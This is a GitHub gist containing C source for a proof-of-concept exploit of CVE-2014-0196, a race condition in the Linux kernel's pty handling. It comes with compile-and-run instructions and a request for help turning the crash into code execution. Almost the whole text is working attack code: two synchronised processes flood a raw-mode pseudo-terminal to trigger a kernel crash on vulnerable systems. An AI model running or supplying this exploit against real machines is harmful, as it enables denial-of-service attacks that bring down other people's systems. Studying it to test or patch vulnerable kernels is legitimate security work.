-
-
Save Fuzion24/16b4a6e205d20386077f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* CVE-2014-0196 DOS PoC [Written May 5th, 2014] | |
* by DigitalCold <[email protected]> | |
* | |
* Note: this crashes my i686 Gentoo system running 3.12.14 | |
* and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain | |
* code exec would be greatly appreciated. | |
* | |
* Usage: gcc -O2 -o pty pty.c -lutil && ./pty | |
* | |
* CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html | |
* Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355 | |
* How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <time.h> | |
#include <sys/mman.h> | |
#include <pty.h> | |
#include <termios.h> | |
#include <fcntl.h> | |
// used to sync the two writer processes | |
volatile static int * Sync = NULL; | |
int main() { | |
int master, res; | |
struct termios tp; | |
Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE, | |
MAP_SHARED | MAP_ANONYMOUS, -1, 0); | |
if(Sync == MAP_FAILED) | |
{ | |
perror("Sync mmap"); | |
exit(1); | |
} | |
// hold | |
*Sync = 0; | |
// create a child with a new PTY connection | |
pid_t child = forkpty(&master, NULL, NULL, NULL); | |
if(child == -1) { | |
perror("forkpty"); | |
exit(1); | |
} | |
// parent | |
else if(child > 0) { | |
printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child); | |
printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child); | |
printf("[+] Starting bombing run...\n"); | |
int flags = fcntl(master, F_GETFL, 0); | |
fcntl(master, F_SETFL, flags | O_NONBLOCK); | |
// synchronizer process | |
int doSync = fork(); | |
if(!doSync) { // child | |
// sync the two processes (CLK) | |
while(1) { | |
sleep(1); | |
*Sync = 1; // release | |
sleep(1); | |
*Sync = 0; | |
} | |
} | |
else if(doSync < 0) | |
{ | |
perror("sync fork"); | |
exit(1); | |
} | |
// used for printing status | |
int cnt = 0; | |
char readBuf[256<<3]; | |
while(1) { | |
while(!*Sync) usleep(1000); | |
if(write(master, readBuf, sizeof readBuf) < 0) { | |
if(errno != EAGAIN) { | |
perror("master write"); | |
exit(1); | |
} | |
} | |
// shovel the input | |
if(read(master, readBuf, sizeof readBuf) < 0) { | |
if(errno != EAGAIN) { | |
perror("master read"); | |
exit(1); | |
} | |
} | |
if(cnt >= 200000) { | |
fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n"); | |
exit(1); | |
} | |
else if(cnt++ % 200 == 0) | |
fprintf(stderr, "."); | |
} | |
} | |
else { // child | |
char discard[1024]; | |
if(tcgetattr(0, &tp) == -1) | |
perror("tcgetattr"); | |
// enable raw mode with ECHO to trigger the bug | |
cfmakeraw(&tp); | |
tp.c_lflag |= ECHO; | |
if(tcsetattr(0, TCSAFLUSH, &tp) == -1) | |
perror("tcsetattr"); | |
// make stdin and stdout non-blocking | |
int flags = fcntl(0, F_GETFL, 0); | |
fcntl(0, F_SETFL, flags | O_NONBLOCK); | |
flags = fcntl(1, F_GETFL, 0); | |
fcntl(1, F_SETFL, flags | O_NONBLOCK); | |
// construct a lengthy crash string | |
size_t badStrSz = 256<<2; | |
char * badStr = malloc(badStrSz); | |
int i; | |
for(i = 0; i < badStrSz; i++) | |
badStr[i] = 'A'; | |
// slave loop | |
while(1) { | |
while(!*Sync) usleep(1000); | |
if(write(1, badStr, badStrSz) < 0) | |
if(errno != EAGAIN) | |
exit(1); | |
// eat the incoming data | |
if(read(0, discard, sizeof discard) < 0) | |
if(errno != EAGAIN) | |
exit(1); | |
} | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment